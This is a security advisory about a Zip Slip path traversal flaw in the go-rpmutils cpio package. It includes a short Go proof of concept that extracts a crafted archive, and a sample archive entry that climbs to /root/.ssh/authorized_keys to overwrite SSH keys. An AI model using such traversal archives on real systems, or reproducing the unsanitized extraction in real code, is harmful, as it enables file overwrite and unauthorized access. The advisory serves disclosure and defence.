Arbitrary File Write via Archive Extraction (Zip Slip) Affecting github.com/sassoftware/go-rpmutils/cpio package, versions <0.1.0

github.com/sassoftware/go-rpmutils/cpio is a package for parsing and extracting content from RPM files.

Affected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip). The CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading ".." which leads in file extraction outside of the current directory.

Note: the fixing commit was applied to all affected versions which were re-released.

PoC by Georgios Gkitsas of Snyk Security Team

Having a modified relative.cpio that includes relative paths:

package main

import (
    cpio "github.com/sassoftware/go-rpmutils/cpio"
    "os"
    "testing/iotest"
    "fmt"
)
func main() {
    file := "relative.cpio"
f, err := os.Open(file)
if err != nil {
    fmt.Println(err)
}

hf := iotest.HalfReader(f)
if err := cpio.Extract(hf, "."); err != nil {
    fmt.Println(err)
}

}

It is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a "../../file.exe" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

+2018-04-15 22:04:29 ..... 19 19 good.txt

+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys

• GitHub Fixing Commit